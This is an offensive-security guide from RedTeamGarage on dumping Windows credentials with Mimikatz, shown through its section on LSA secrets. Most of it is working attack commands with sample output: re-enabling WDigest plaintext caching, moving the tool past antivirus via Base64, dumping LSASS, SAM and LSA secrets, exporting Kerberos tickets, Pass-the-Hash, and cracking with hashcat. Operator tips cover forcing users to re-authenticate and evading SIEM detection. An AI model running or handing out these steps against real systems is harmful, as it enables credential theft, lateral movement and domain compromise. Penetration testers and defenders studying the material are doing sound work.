



◆ OFFENSIVE SECURITY SERIES ◆

COMPLETE MEMORY DUMPING GUIDE

WITH MIMIKATZ

All Commands · Sample Windows Output · LSASS · DCSync · Golden Ticket · DPAPI · Evasion

LSASS

sekurlsa

DCSync

Golden Ticket

DPAPI

Pass-the-Hash

Kerberos

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

**LEGAL DISCLAIMER**

This guide is produced by RedTeamGarage (RTG) strictly for educational and authorised security testing purposes. Mimikatz and all memory dumping techniques described herein must ONLY be used on systems you own or have explicit written authorisation to test. Unauthorised use is a criminal offence. RTG assumes zero liability for misuse.

**TABLE OF CONTENTS**

Mimikatz — The Complete Operator Reference

- 01. INTRODUCTION — WHAT IS MIMIKATZ & WHY IT MATTERS**
- 02. HOW WINDOWS STORES CREDENTIALS IN MEMORY**
- 03. SETUP — INSTALLATION, EXECUTION, AND PRIVILEGE ESCALATION**
- 04. SEKURLSA — THE CORE MEMORY CREDENTIAL MODULE**
- 05. SEKURLSA::LOGONPASSWORDS — DUMP ALL ACTIVE CREDENTIALS**
- 06. SEKURLSA::WDIGEST — WDIGEST PLAINTEXT PASSWORDS**
- 07. SEKURLSA::MSV — MSV1_0 NTLM HASHES**
- 08. SEKURLSA::KERBEROS — KERBEROS PLAINTEXT CREDENTIALS**
- 09. SEKURLSA::TSPKG — TS PACKAGE CREDENTIALS**
- 10. SEKURLSA::TICKETS — EXPORT KERBEROS TICKETS (KIRBI)**
- 11. SEKURLSA::EKEYS — AES256/AES128 KERBEROS KEYS**
- 12. SEKURLSA::DPAPI — DPAPI MASTER KEYS FROM MEMORY**
- 13. SEKURLSA::PTH — PASS-THE-HASH (OVERPASS-THE-HASH)**
- 14. LSADUMP::SAM — LOCAL SAM DATABASE DUMP**
- 15. LSADUMP::LSA — LSA SECRETS (/PATCH AND /INJECT)**
- 16. LSADUMP::SECRETS — SERVICE & SCHEDULED TASK PASSWORDS**
- 17. LSADUMP::DCSYNC — DCSYNC: REPLICATE DOMAIN CREDENTIALS**
- 18. LSADUMP::DCSYNC /ALL — FULL DOMAIN HASH DUMP**
- 19. KERBEROS::GOLDEN — GOLDEN TICKET FORGING**
- 20. KERBEROS::SILVER — SILVER TICKET FORGING**



- 21. KERBEROS::PTT & KERBEROS::LIST — TICKET INJECTION & LISTING**
- 22. DPAPI — BROWSER, WIFI & WINDOWS VAULT CREDENTIALS**
- 23. DUMPING LSASS WITHOUT MIMIKATZ — EXTERNAL METHODS**
- 24. OFFLINE PARSING — SEKURLSA::MINIDUMP**
- 25. TOKEN — IMPERSONATION & PRIVILEGE ESCALATION**
- 26. MISC — SKELETON KEY, MEMSSP, PATCH & MORE**
- 27. EVADING AV/EDR WHILE RUNNING MIMIKATZ**
- 28. DETECTION — WHAT BLUE TEAMS SEE**
- 29. COMPLETE COMMAND CHEAT SHEET**

01 — INTRODUCTION: WHAT IS MIMIKATZ & WHY IT MATTERS

The Swiss Army Knife of Windows Credential Dumping

Mimikatz is an open-source post-exploitation tool written by Benjamin Delpy (@gentilkiwi) that extracts plaintext passwords, hashes, PINs, and Kerberos tickets directly from Windows memory. First released in 2011, it has become the most referenced tool in Active Directory attack chains and penetration testing engagements worldwide.

Mimikatz exploits the way Windows caches credentials in the LSASS (Local Security Authority Subsystem Service) process to serve Single Sign-On (SSO) functionality. Because Windows needs to re-authenticate users transparently, it stores credential material — including plaintext passwords in older configurations — in protected memory that Mimikatz can read with SYSTEM-level access.

What Mimikatz Can Do

- ◆ Extract plaintext passwords from LSASS memory (WDigest, Kerberos, TSPKG)
- ◆ Dump NTLM hashes for all logged-on users and machine accounts
- ◆ Export Kerberos TGTs and service tickets from memory as .kirbi files
- ◆ Retrieve AES256/AES128 Kerberos session keys (etype 17/18)
- ◆ Dump the local SAM database — all local account hashes
- ◆ Extract LSA Secrets — service account passwords, cached domain creds
- ◆ Perform DCSync — pull any account's credentials from Active Directory
- ◆ Forge Golden Tickets and Silver Tickets for persistent Kerberos access
- ◆ Pass-the-Hash and Overpass-the-Hash for lateral movement
- ◆ Decrypt DPAPI master keys — browser passwords, WiFi keys, Windows Vault
- ◆ Install a Skeleton Key backdoor on Domain Controllers
- ◆ Inject a rogue SSP to capture future credentials in plaintext

Module	Primary Function	Key Commands
sekurlsa	LSASS memory credential extraction	logonpasswords, wdigest, msv, tickets, ekeys, pth
lsadump	SAM, LSA, DCSync credential dumping	sam, lsa, secrets, dcsync
kerberos	Kerberos ticket manipulation	golden, silver, ptt, list, purge
dpapi	DPAPI decryption	chrome, wifi, vault, masterkey
token	Token impersonation	elevate, revert, list, whoami
misc	Persistence and miscellaneous	skeleton, memssp, cmd, coffee
privilege	Privilege management	debug, driver, security

02 — HOW WINDOWS STORES CREDENTIALS IN MEMORY

LSASS, SSPs, and the Credential Cache

Understanding WHY Mimikatz works requires understanding how Windows manages credential material in memory. The Local Security Authority Subsystem Service (LSASS — lsass.exe) is the central process responsible for authentication policy enforcement, token generation, and credential caching for SSO.

Security Support Providers (SSPs) in LSASS

SSP / Package	DLL	Stores	Mimikatz Module
MSV1_0	msv1_0.dll	NTLM hashes (all auth)	sekurlsa::msv
WDigest	wdigest.dll	Plaintext passwords (legacy HTTP)	sekurlsa::wdigest
Kerberos	kerberos.dll	Plaintext + AES keys + tickets	sekurlsa::kerberos
TSPKG	tspkg.dll	Plaintext (RDP/TS auth)	sekurlsa::tspkg
LiveSSP	livessp.dll	Microsoft account credentials	sekurlsa::livessp
Cloudap	cloudap.dll	Azure AD / cloud tokens	sekurlsa::cloudap
DPAPI	dpapi.dll	Master keys for data protection	sekurlsa::dpapi
CredMan	vaultcli.dll	Windows Credential Manager	dpapi::cred

WDigest — Why Plaintext Passwords Exist

WDigest authentication (RFC 2617) was designed for HTTP Digest authentication and requires the plaintext password to compute challenge-response hashes. To support SSO, Windows cached the plaintext password in LSASS memory. This behaviour is enabled by default on Windows XP through Windows 8 / Server 2012 R2. On Windows 8.1+ / Server 2012 R2+, WDigest caching is disabled by default — but attackers can re-enable it.

\$ Re-enable WDigest Credential Caching

```
# Re-enable WDigest plaintext caching on Windows 8.1+ (requires admin)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest \
  /v UseLogonCredential /t REG_DWORD /d 1 /f

# Verify setting
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

# Wait for a user to log on — then sekurlsa::wdigest will show plaintext
# User does NOT need to log off and back on for active sessions
# New logon events (unlock, RDP, runas) will cache plaintext
```



03 — SETUP: INSTALLATION, EXECUTION & PRIVILEGE ESCALATION

Getting Mimikatz Running with SYSTEM Rights

Download & Verify

\$ Download & Transfer

```
# Official source – gentilkiwi GitHub
# https://github.com/gentilkiwi/mimikatz/releases

# Download mimikatz_trunk.zip and extract
# Use x64\mimikatz.exe for 64-bit targets (most modern systems)
# Use x86\mimikatz.exe for 32-bit targets (rare)

# Transfer to target (choose least-detectable method):
# SMB share, HTTP server, certutil, PowerShell download, Base64 clipboard

# Base64 transfer (evades simple AV on transfer):
[Convert]::ToBase64String([IO.File]::ReadAllBytes('.\mimikatz.exe')) > mimi.b64
# On target:
[IO.File]::WriteAllBytes('.\m.exe',[Convert]::FromBase64String((Get-Content mimi.b64)))
```

Required Privileges

Operation	Minimum Required Privilege	How to Get It
sekurlsa:*	SeDebugPrivilege (admin)	privilege::debug + local admin
lsadump::sam	SYSTEM	token::elevate
lsadump::lsa	SYSTEM	token::elevate
lsadump::dcsync	Domain Admin / DCSync rights	Run from DA session or grant rights
kerberos::golden	Any (uses known krbtgt hash)	No special rights needed
dpapi::chrome	User + master key	Same user session or SYSTEM
misc::skeleton	Domain Admin on DC	Must be on DC as DA



\$ Privilege Escalation & Setup

```
# Step 1: Launch mimikatz as Administrator
# Right-click mimikatz.exe → Run as Administrator
# OR from elevated cmd: .\mimikatz.exe

# Step 2: Request SeDebugPrivilege
mimikatz # privilege::debug
# Expected: Privilege '20' OK

# Step 3: Elevate to SYSTEM (for SAM/LSA dumps)
mimikatz # token::elevate
# Expected: Impersonated: NT AUTHORITY\SYSTEM

# Step 4: Verify who you are
mimikatz # token::whoami

# Batch mode – run all commands and exit (for scripts)
.\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit

# Log all output to file
mimikatz # log C:\Temp\creds.log
```

```
Administrator: mimikatz x64 (PrivEsc + Debug)

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # version

mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
'Benjamin DELPY' 'gentilkiwi' ( benjamin@gentilkiwi.com )
> https://blog.gentilkiwi.com/mimikatz
Vincent LE TOUX ( vincent.letoux@gmail.com )
> https://pingcastle.com / https://mysmartlogon.com ***

mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

788 {0;000003e7} 1 D 16974 NT AUTHORITY\SYSTEM S-1-5-18
-> Impersonated !
* Process Token : {0;002f89e0} 1 F 3594136 CORP\Administrator
* Thread Token : {0;000003e7} 1 D 3701070 NT AUTHORITY\SYSTEM

mimikatz # _
```

Figure: Mimikatz startup — privilege::debug succeeds, token::elevate impersonates SYSTEM

04 — SEKURLSA: THE CORE MEMORY CREDENTIAL MODULE

Reading Directly from LSASS Process Memory

The sekurlsa module directly reads LSASS process memory to extract credential material cached by each Security Support Provider. It requires SeDebugPrivilege to open the LSASS process handle. All sekurlsa sub-commands iterate through active logon sessions and extract SSP-specific credential data from each.

Command	What It Extracts
sekurlsa::logonpasswords	All credentials from ALL SSPs — the ultimate one-shot dump
sekurlsa::wdigest	WDigest plaintext passwords from active sessions
sekurlsa::msv	MSV1_0 NTLM hash + SHA1 for all sessions
sekurlsa::kerberos	Kerberos plaintext credentials and session data
sekurlsa::tspkg	TSPKG (Terminal Services) plaintext passwords
sekurlsa::livessp	Microsoft Live/Outlook SSO credentials
sekurlsa::cloudap	Azure AD / Windows Hello cloud tokens
sekurlsa::ssp	Custom SSP credentials (injected logon password capture)
sekurlsa::tickets	All Kerberos tickets in memory (export as .kirbi)
sekurlsa::ekeys	Kerberos encryption keys (AES256, AES128, RC4)
sekurlsa::dpapi	DPAPI master keys for current sessions
sekurlsa::credman	Windows Credential Manager entries
sekurlsa::pth	Pass-the-Hash — spawn process with NTLM hash
sekurlsa::minidump	Load a .dmp file for offline parsing

RTG NOTE

sekurlsa::logonpasswords is a superset — it calls ALL SSP modules in one command.

Use individual commands (wdigest, msv) to reduce noise when targeting specific data.

LSASS is protected by PPL (Protected Process Light) on hardened systems — see evasion section.

05 — SEKURLSA::LOGONPASSWORDS

The One-Shot Credential Dump — All Sessions, All SSPs

sekurlsa::logonpasswords is the most used Mimikatz command. It iterates every active logon session on the system and extracts all available credential material from each SSP — NTLM hashes, SHA1 hashes, and (where available) plaintext passwords. A single command can yield credentials for every user who has authenticated to the system.

\$ sekurlsa::logonpasswords

Standard dump — all sessions, all SSPs

```
mimikatz # sekurlsa::logonpasswords
```

Redirect output to log first

```
mimikatz # log C:\Temp\creds.log
```

```
mimikatz # sekurlsa::logonpasswords
```

One-liner (no interactive shell)

```
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > creds.txt
```

PowerShell one-liner

```
& .\mimikatz.exe 'privilege::debug' 'sekurlsa::logonpasswords' 'exit'
```

Understanding the Output Fields

Field	Description	Offensive Value
Authentication Id	Logon session LUID — unique ID for each session	Identify target sessions
Session	Session type: Interactive, Network, Service etc.	Interactive = richest data
User Name	Authenticated username	Target identification
Domain	Domain or machine name	Scope assessment
Logon Server	DC that authenticated this session	DC identification
NTLM	NT hash of the account password	Pass-the-Hash, cracking
SHA1	SHA1 of password — used by some legacy systems	Alternative hash form
DPAPI	DPAPI decryption key for this session	Decrypt DPAPI blobs
Password	Plaintext password (WDigest/Kerberos if cached)	Direct reuse / spray



```
Administrator: mimikatz — sekurlsa::logonpasswords

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 1233124 (00000000:0012d4e4)
Session          : Interactive from 1
User Name        : Administrator
Domain           : CORP
Logon Server     : DC01
Logon Time       : 12/1/2024 9:14:22 AM
SID              : S-1-5-21-3623811015-3361044348-30300820-500
[m]sv :
[m] [00000003] Primary
[m] * Username : Administrator
[m] * Domain   : CORP
[m] * NTLM     : fc525c9683e8fe067095ba2ddc971889
[m] * SHA1     : e3efcdf3f47e8ad23bb7c8e62a0696c4e394c682
[m] * DPAPI    : a2a900c1ed3ffe4d5f789a66da0c4e23
[m]tspkg :
[m]wdigest :
[m] * Username : Administrator
[m] * Domain   : CORP
[m] * Password : W3lc0me@Corp2024!
[m]kerberos :
[m] * Username : Administrator
[m] * Domain   : CORP.LOCAL
[m] * Password : W3lc0me@Corp2024!
[m]ssp :
[m]credman :

mimikatz # _
```

Figure: sekurlsa::logonpasswords — full output showing NTLM hash, SHA1, plaintext password for Administrator session

06 — SEKURLSA::WDIGEST

WDigest Plaintext Password Extraction

sekurlsa::wdigest targets the WDigest SSP specifically, extracting only the WDigest credential entries. On Windows 7 / Server 2008 R2 and earlier, this always returns plaintext passwords. On Windows 8.1+ it returns (null) unless WDigest has been re-enabled via the registry.

\$ sekurlsa::wdigest

```
# Extract WDigest credentials only
mimikatz # sekurlsa::wdigest

# Output when WDigest is enabled:
# Authentication Id : 0 ; 1233124
# User Name       : Administrator
# Domain         : CORP
# * Username    : Administrator
# * Domain      : CORP
# * Password    : W3lc0me@Corp2024! ← PLAINTEXT

# Output when WDigest is disabled:
# * Password : (null)

# Force WDigest cache on modern systems (then wait for re-auth):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

# Confirm the setting:
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
```

RTG TIP

WDigest plaintext requires the user to authenticate AFTER enabling UseLogonCredential.

Force a re-auth: lock the workstation remotely, wait for user to unlock it.

Network logon (mapped drives, SMB) also re-caches WDigest credentials.

07 — SEKURLSA::MSV

MSV1_0 — NTLM Hashes for All Sessions

sekurlsa::msv extracts MSV1_0 SSP credentials — the primary source of NTLM hashes in LSASS. MSV1_0 is used for ALL authentication types (interactive, network, service) making this command reliable for NTLM hash extraction even when WDigest is disabled.

```
$ sekurlsa::msv
```

```
# Extract MSV1_0 (NTLM) hashes only
mimikatz # sekurlsa::msv

# Output includes:
# [00000003] Primary
# * Username : Administrator
# * Domain   : CORP
# * NTLM     : fc525c9683e8fe067095ba2ddc971889 ← always present
# * SHA1     : e3efcdf3f47e8ad23bb7c8e62a0696c4e394c682
# * DPAPI    : a2a900c1ed3ffe4d5f789a66da0c4e23

# Machine accounts (DC01$) also appear – useful for DCSync via machine hash
# * Username : DC01$
# * NTLM     : e8f1a2b3c4d57f8a9b0c1d2e3f4a5b6c
```

```
Administrator: mimikatz — sekurlsa::wdigest + msv

mimikatz # sekurlsa::wdigest

Authentication Id : 0 ; 1233124 (00000000:0012d4e4)
Session           : Interactive from 1
User Name         : DA_jones
Domain            : CORP
Logon Server      : DC01
□ * Username      : DA_jones
□ * Domain        : CORP
□ * Password      : S3cur3P@ssw0rd!

mimikatz # sekurlsa::msv

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : DC01$
Domain            : CORP
□ [00000003] Primary
□ * Username      : DC01$
□ * Domain        : CORP
□ * NTLM          : e8f1a2b3c4d57f8a9b0c1d2e3f4a5b6c
□ * SHA1          : a1b2c3d4e5f6789012345678901234567890abcdef

Authentication Id : 0 ; 1233124 (00000000:0012d4e4)
User Name         : jsmith
□ * NTLM          : 3d8b2f4a6e9c1a7b5c8d9e2f3a4b6c1d
□ * SHA1          : b2c3d4e5f6789012345678901234567890abcdef

mimikatz # _
```

Figure: sekurlsa::wdigest shows DA_jones plaintext; sekurlsa::msv dumps NTLM for all sessions including DC01\$



08 — SEKURLSA::KERBEROS | 09 — SEKURLSA::TSPKG

Kerberos Session Credentials + Terminal Services Package

sekurlsa::kerberos

Extracts credentials cached by the Kerberos SSP. On systems where Kerberos plaintext caching is active, this returns the same plaintext passwords as WDigest. More importantly, it reveals the domain and realm information for each session.

\$ sekurlsa::kerberos

```
# Extract Kerberos SSP credentials
mimikatz # sekurlsa::kerberos

# Output:
# * Username : Administrator
# * Domain   : CORP.LOCAL
# * Password : W3lc0me@Corp2024! ← if cached

# Useful for confirming domain FQDN and identifying domain-joined accounts
# Note: Domain field shows FQDN (CORP.LOCAL) vs MSV which shows NETBIOS (CORP)
```

sekurlsa::tspkg

TSPKG is the Terminal Services package used for RDP and remote desktop authentication. When users authenticate via RDP, their credentials may be cached in the TSPKG provider in plaintext — making this a rich target on servers.

**\$ sekurlsa::tspkg**

```
# Extract TSPKG (RDP/Terminal Services) credentials
mimikatz # sekurlsa::tspkg

# Output (when RDP session credentials cached):
# * Username : DA_jones
# * Domain   : CORP
# * Password : S3cur3P@ssw0rd!

# This is especially useful on:
# - Jump hosts / Bastion servers (many admin RDP sessions)
# - Terminal Servers (many user RDP sessions)
# - Domain Controllers (admin RDP frequently used)

# Run on terminal servers for maximum yield — many concurrent sessions
```

RTG TIP

Jump servers and RDP gateways are gold mines — every admin who RDP'd through them leaves creds
On a terminal server with 20 sessions, tspkg can yield 20 plaintext passwords simultaneously.
Combine with sekurlsa::logonpasswords for the full picture in one pass.

10 — SEKURLSA::TICKETS

Export Kerberos Tickets from Memory to .kirbi Files

sekurlsa::tickets reads all Kerberos tickets currently cached in LSASS memory for every logon session. With the /export flag, each ticket is saved as a .kirbi file that can be injected into another session using kerberos::ptt — enabling ticket reuse and lateral movement without knowing any password.

\$ sekurlsa::tickets /export

```
# List all tickets in memory (display only)
mimikatz # sekurlsa::tickets

# Export all tickets to .kirbi files in current directory
mimikatz # sekurlsa::tickets /export

# Output creates files like:
# [0;0012d4e4]-0-0-40e00000-Administrator@krbtgt-CORP.LOCAL.kirbi (TGT)
# [0;0012d4e4]-2-1-40a50000-Administrator@cifs-DC01.corp.local.kirbi (TGS)

# Filename format:
# [LUID]-CredentialNumber-TicketNumber-Flags-Username@Service-Target.kirbi

# Inject a ticket into current session (Pass-the-Ticket)
mimikatz # kerberos::ptt [0;0012d4e4]-0-0-40e00000-Administrator@krbtgt-CORP.LOCAL.kirbi

# Verify injection
mimikatz # kerberos::list

# Or use klist (Windows built-in)
C:\> klist
```



```
Administrator: mimikatz -- sekurlsa::tickets /export + ekeys

mimikatz # sekurlsa::tickets /export

Authentication Id : 0 ; 1233124 (00000000:0012d4e4)
Session          : Interactive from 1
User Name        : Administrator
Domain           : CORP
* [0] Service: krbtgt
  Client: Administrator @ CORP.LOCAL
  Server: krbtgt/CORP.LOCAL @ CORP.LOCAL
  KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
  Ticket Flags 0x40e00000 -> forwardable renewable initial
  Start/End/MaxRenew: 12/1/2024 9:14 ; 12/1/2024 19:14 ; 12/8/2024 9:14
  Session Key Type: RSADSI RC4-HMAC(NT)
  * Saved to file : [0;0012d4e4]-0-0-40e00000-Administrator@krbtgt-CORP.LOCAL.kirbi

* [1] Service: cifs
  Client: Administrator @ CORP.LOCAL
  Server: cifs/DC01.corp.local @ CORP.LOCAL
  * Saved to file : [0;0012d4e4]-2-1-40a50000-Administrator@cifs-DC01.corp.local.kirbi

mimikatz # sekurlsa::ekeys

Authentication Id : 0 ; 1233124
User Name        : Administrator
* * aes256_hmac    2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b
* * aes128_hmac    1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
* * rc4_hmac_nt    fc525c9683e8fe067095ba2ddc971889
* * rc4_hmac_old   fc525c9683e8fe067095ba2ddc971889

mimikatz # _
```

Figure: sekurlsa::tickets /export — TGT and CIFS service ticket saved as .kirbi; sekurlsa::ekeys shows AES256/RC4 keys

RTG TIP

TGT tickets (.kirbi) are the most valuable — they can be used to request any service ticket.

Stolen TGTs are valid until their expiry (default 10 hours) — use them quickly.

On a DC, you may find TGTs for DA accounts authenticated to local services.

11 — SEKURLSA::EKEYS

AES256 / AES128 Kerberos Encryption Keys

sekurlsa::ekeys extracts all Kerberos encryption keys cached in LSASS — including the AES256 and AES128 long-term keys (derived from the account's password and salt). These are used in Overpass-the-Hash to create higher-quality Kerberos tickets that blend in better with normal traffic.

\$ sekurlsa::ekeys — AES Key Extraction

```
# Extract all Kerberos encryption keys
mimikatz # sekurlsa::ekeys

# Output:
# * aes256_hmac (4096) : 2a3b4c5d6e7f8a9b...64_char_hex ← gold
# * aes128_hmac (4096) : 1a2b3c4d5e6f7a8b...32_char_hex
# * rc4_hmac_nt       : fc525c9683e8fe06... (same as NTLM hash)

# Use AES256 key for Overpass-the-Hash (etype 18 – harder to detect):
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local \
/aes256:2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b

# Use with Rubeus for AES ticket requests (etype18 = less detection):
Rubeus.exe asktgt /user:Administrator /aes256:2a3b4c5d... /opsec /ptt

# AES keys are tied to the current password + salt (DOMAIN+username)
# They change when password changes – unlike RC4/NTLM which require hash change
```

RTG NOTE

AES256 keys are the preferred key type for 'opsec-safe' Kerberos operations. RC4 (NTLM) Kerberos tickets trigger detection rules in many SIEMs — AES does not. ekeys also shows RC4 (same as NTLM hash) — so it doubles as an NTLM dump too.

12 — SEKURLSA::DPAPI

DPAPI Master Keys from LSASS Memory

The Data Protection API (DPAPI) is Windows' built-in secret storage mechanism used by browsers, credential manager, certificates, and applications. sekurlsa::dpapi extracts the DPAPI master keys cached in LSASS — enabling decryption of any DPAPI-protected data without knowing the user's password.

\$ sekurlsa::dpapi — Master Key Extraction

```
# Extract DPAPI master keys from LSASS memory
mimikatz # sekurlsa::dpapi

# Output:
# * GUID      : {a1b2c3d4-e5f6-7890-abcd-ef0123456789}
# * Time      : 12/1/2024 8:45:00 AM
# * MasterKey : 4a5b6c7d8e9f0a1b...128_char_hex ← the key
# * sha1(key) : a1b2c3d4e5f67890...

# Use the master key to decrypt Chrome saved passwords:
mimikatz # dpapi::chrome
        /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data"

# Use master key to decrypt Windows Credential Manager vault:
mimikatz # dpapi::cred /in:"%appdata%\Microsoft\Credentials\<credfile>"

# Decrypt any DPAPI blob with recovered key:
mimikatz # dpapi::blob /masterkey:<key> /in:<encrypted_file>

# Backup all master key files:
dir /a %appdata%\Microsoft\Protect\
```

RTG TIP

DPAPI master keys in memory are the most powerful DPAPI attack vector — no cracking needed. Browser passwords, WiFi PSKs, and RDP saved credentials are all DPAPI-protected. Works on the current user's session — for other users' data, use the domain backup key.

13 — SEKURLSA::PTH

Pass-the-Hash & Overpass-the-Hash (Pass-the-Key)

sekurlsa::pth (Pass-the-Hash) spawns a new process with injected NTLM credentials without knowing the plaintext password. The spawned process has a token with the supplied hash — any network authentication from that process uses the injected credentials. This enables lateral movement to any system that accepts NTLM.

\$ sekurlsa::pth — Pass-the-Hash

```
# Pass-the-Hash — spawn cmd.exe with Administrator NTLM hash
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local \
        /ntlm:fc525c9683e8fe067095ba2ddc971889

# Spawn specific program
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local \
        /ntlm:fc525c9683e8fe067095ba2ddc971889 /run:powershell.exe

# Overpass-the-Hash — use AES256 to get a Kerberos TGT (opsec safe)
mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local \
        /aes256:2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b

# In the spawned window — access remote system:
dir \\DC01\C$
psexec \\DC01 cmd.exe
wmic /node:DC01 process call create cmd.exe

# Pass-the-Hash for service accounts (lateral movement to SQL server):
mimikatz # sekurlsa::pth /user:svc_mssql /domain:corp.local \
        /ntlm:9a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d /run:cmd.exe
```



```
Administrator: mimikatz — Silver Ticket + Pass-the-Hash

mimikatz # kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-3623811015-3361044348-30300820 \
/target:DC01.corp.local /service:cifs \
/rc4:e8f1a2b3c4d57f8a9b0c1d2e3f4a5b6c /ptt

User      : Administrator
Domain    : corp.local (CORP)
SID       : S-1-5-21-3623811015-3361044348-30300820
Service   : cifs
Target    : DC01.corp.local
RC4 Key   : e8f1a2b3c4d57f8a9b0c1d2e3f4a5b6c (DC01$)
Lifetime  : 12/1/2024 9:00:00 AM ; 12/8/2024 9:00:00 AM
-> Ticket : ** Pass The Ticket **
Silver ticket for 'Administrator @ corp.local' successfully submitted!

mimikatz # sekurlsa::pth /user:Administrator /domain:corp.local \
/ntlm:fc525c9683e8fe067095ba2ddc971889

user      : Administrator
domain    : corp.local
program   : cmd.exe
impers.   : no
NTLM      : fc525c9683e8fe067095ba2ddc971889
| PID 13284
| TID 12888
\ cmd.exe spawned with NTLM credentials of Administrator

mimikatz # _
```

Figure: sekurlsa::pth spawns cmd.exe with Administrator NTLM hash injected into the process token



14 — LSADUMP::SAM

Local SAM Database — All Local Account Hashes

The SAM (Security Accounts Manager) database stores NTLM hashes for all local user accounts. It is protected by the SYSKEY and is inaccessible while Windows is running — but `lsadump::sam` uses the SYSTEM token to read it directly from the registry hive in memory.

\$ lsadump::sam

```
# Dump local SAM (requires SYSTEM — run token::elevate first)
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::sam

# Output includes all local accounts:
# Domain : WIN10-WORKSTATION
# SysKey : a1b2c3d4e5f6789a...
# RID   : 000001f4 (500) — built-in Administrator
# User  : Administrator
# Hash NTLM: fc525c9683e8fe067095ba2ddc971889

# Dump SAM from offline registry files (post-incident / forensics):
mimikatz # lsadump::sam /system:C:\Temp\SYSTEM /sam:C:\Temp\SAM

# Export SAM hive with reg.exe first:
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SAM    C:\Temp\SAM

# Crack local hashes with hashcat:
hashcat -m 1000 -a 0 hashes.txt rockyou.txt --rules best64.rule
```



```
Administrator: mimikatz — lsadump::sam

mimikatz # lsadump::sam

Domain : WIN10-WORKSTATION
SysKey : a1b2c3d4e5f6789abcdef0123456789a
Local SID : S-1-5-21-1234567890-0987654321-1122334455

SAMKey : b2c3d4e5f6789abcdef0123456789ab

RID : 000001f4 (500)
User : Administrator
Hash NTLM: fc525c9683e8fe067095ba2ddc971889
ntlm- 0: fc525c9683e8fe067095ba2ddc971889
lm - 0: aad3b435b51404eeaad3b435b51404ee

RID : 000001f5 (501)
User : Guest
Hash NTLM: (null)

RID : 000003e8 (1000)
User : jsmith
Hash NTLM: 3d8b2f4a6e9c1a7b5c8d9e2f3a4b6c1d
ntlm- 0: 3d8b2f4a6e9c1a7b5c8d9e2f3a4b6c1d

RID : 000003e9 (1001)
User : svc_backup
Hash NTLM: 8f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c

mimikatz # _
```

Figure: lsadump::sam — all local accounts dumped: Administrator (500), jsmith (1000), svc_backup with NTLM hashes



15 — LSADUMP::LSA | 16 — LSADUMP::SECRETS

LSA Secrets: Service Passwords, Auto-Logon & Cached Creds

lsadump::lsa

lsadump::lsa dumps credentials from the Local Security Authority directly. The /patch method patches LSASS in memory to bypass protection; /inject uses code injection. Both require SYSTEM-level access.

\$ lsadump::lsa

```
# LSA dump - patch method (most compatible)
mimikatz # lsadump::lsa /patch

# LSA dump - inject method
mimikatz # lsadump::lsa /inject

# Dump specific user by name
mimikatz # lsadump::lsa /patch /name:Administrator

# Dump specific user by RID
mimikatz # lsadump::lsa /patch /id:500
```

lsadump::secrets

LSA Secrets store sensitive data used by the operating system — including service account passwords, scheduled task credentials, auto-logon passwords, and cached domain credentials (DCC2 hashes). These are stored in the registry at HKLM\SECURITY\Policy\Secrets and encrypted with the SYSKEY.

\$ lsadump::secrets

```
# Dump all LSA secrets (requires SYSTEM)
mimikatz # lsadump::secrets

# Common LSA secrets you'll find:
# _SC_<ServiceName>      → service account password (plaintext!)
# DefaultPassword        → auto-logon password (plaintext!)
# $MACHINE.ACC           → machine account password (NTLM)
# NL$KM                  → cached domain cred key
# DPAPI_SYSTEM           → DPAPI system key
# L$ASP.NETAutoGenKeys    → ASP.NET machine key
# L$_SQSA_<SID>          → security question answers

# Dump secrets from offline registry:
mimikatz # lsadump::secrets /system:C:\Temp\SYSTEM /security:C:\Temp\SECURITY

# Export SECURITY hive:
reg save HKLM\SECURITY C:\Temp\SECURITY
```

```
Administrator: mimikatz — lsadump::lsa /patch + lsadump::secrets

mimikatz # lsadump::lsa /patch

Domain : CORP / S-1-5-21-3623811015-3361044348-30300820

RID : 000001f4 (500)
User : Administrator
LM : aad3b435b51404eeaad3b435b51404ee
NTLM : fc525c9683e8fe067095ba2ddc971889

RID : 000003e8 (1000)
User : jsmith
LM : aad3b435b51404eeaad3b435b51404ee
NTLM : 3d8b2f4a6e9c1a7b5c0d9e2f3a4b6c1d

mimikatz # lsadump::secrets

Domain : CORP / S-1-5-21-3623811015-3361044348-30300820
SysKey : a1b2c3d4e5f6789abcdef0123456789a

Local name : WIN10-WORKSTATION ( S-1-5-21-... )
Domain name : CORP ( S-1-5-21-3623811015-... )

Secret : _SC_MSSQL$SQLEXPRESS
cur/text: SvcP@ss2024!

Secret : DefaultPassword
cur/text: AutoLogonP@ss!

Secret : $MACHINE.ACC
cur/hex : e8f1a2b3c4d57f8a9b0c1d2e3f4a5b6c7d8e9f...

mimikatz # _
```

